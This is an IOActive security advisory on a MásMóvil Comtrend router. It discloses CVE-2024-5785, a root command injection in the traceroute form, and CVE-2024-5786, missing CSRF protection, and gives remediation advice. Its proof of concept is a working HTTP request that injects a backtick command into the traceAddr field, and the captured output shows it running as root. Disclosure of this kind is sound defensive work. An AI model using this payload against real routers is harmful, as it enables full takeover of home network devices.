IOActive Security Advisory

Title	MásMóvil Comtrend Router – Multiple Vulnerabilities
Severity	High
Discovered by	Gabriel Gonzalez
Vendor Contact Date	2023-09-12
Advisory Date	2024-06-21
CVEs	CVE-2024-5785, CVE-2024-5786

Affected Products

1. MásMóvil Comtrend Router – Version: ES_WLD71-T1_v2.0.201820
    a. HW Version: GRG-4280us
    b. FW Version: QR51S404
    c. SW Version: MMV-C04_R10

Timeline

- 2023-08-24: IOActive discovers vulnerability
- 2023-09-12: IOActive begins vulnerability disclosure with affected parties
- 2024-06-10: The corresponding CNA released the CVEs to public domain.
- 2024-06-21: IOActive advisory published

CVE-2024-5785: Post-Auth root Command Injection

Severity: High

Impact

A malicious actor can send a specific payload to `/boaform/admin/formUserTracert` using the `traceroute` functionality to execute arbitrary commands as the privileged root user.

This is a post-auth vulnerability that could be used along with the “Lack of CSRF Protection” issue to trick an end-user into executing commands or to pull the firmware from the device and perform further investigation.

Proof of Concept

Below are two example payloads and their corresponding outputs. The highlighted text is the actual injection.

Command sent to execute `id`:

```
POST /boaform/admin/formUserTracert HTTP/1.1
Host: 192.168.1.1
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

proto=0&traceAddr=%60id%60&trys=3&timeout=5&datasize=56&dscp=0&maxhop=3
0&wanif=65535&go=+Go&submit-url=admin%2Ftracert.asp
```

Command sent to retrieve response (output from the above command is highlighted):

```
GET /admin/tracert_result.asp HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.1/admin/tracert_result.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
```

```
Connection: close
```

Output:

```
HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Date: Sun, 20 Aug 2023 12:35:57 GMT
Server: Boa/0.93.15
Connection: close
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="arial">
<meta http-equiv = 'refresh' content = '2;url=tracert_result.asp' >
<link rel="stylesheet" href="/admin/reset.css">
<link rel="stylesheet" href="/admin/base.css">
<link rel="stylesheet" href="/admin/style.css">
<script type="text/javascript" src="share.js"></script>
<title>Tracert Diagnostics</title>
</head>
<body>
<div class="intro_main ">
 <p class="intro_title">Traceroute </p>
</div>
<br>
<div align="left">
 <table border=0 id="traceInfo" width="600" cellspacing=4
cellpadding=0>
  <tr><td class="intro_content">traceroute: bad address 'uid=0(Root)'
</td></tr>
 </table>
 <br>
 <table>
  <tr><td>
   <input class="link_bg" type="button" value="back" name="back"
onclick="window.location.replace('/admin/tracert.asp')" />
  </td></tr>
 </table>
</div>
<br><br>
</body>
</html>
```

Remediation

1. Sanitize user input.
2. Force arguments as parameters. Avoid concatenating strings prior to execution.

CVE-2024-5786: Lack of CSRF Protection

Severity: High

Impact

IOActive saw a general lack of protection against cross-site request forgery (CSRF) attacks. A CSRF attack works by including a link or script in a page or email that accesses a vulnerable site that has unexpired authentication. During a CSRF attack, unauthorized commands are transmitted from a user that the web application trusts in a manner that is difficult or impossible for the web application to differentiate from normal actions from the targeted user. As a result, attackers may trick application users into performing critical application actions that include, but are not limited to, adding and updating accounts.

Proof of Concept

The following captured request does not include any type of anti-CSRF token or header:

```
POST /boaform/admin/formUserTracert HTTP/1.1
Host: 192.168.1.1
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

proto=0&traceAddr=%60id%60&trys=3&timeout=5&datasize=56&dscp=0&maxhop=3
0&wanif=65535&go=+Go&submit-url=admin%2Ftracert.asp
```

Remediation

1. Include a token in the response from the device that can be sent from the browser with each request. The token should be unique per user and session, non-predictable, and secret.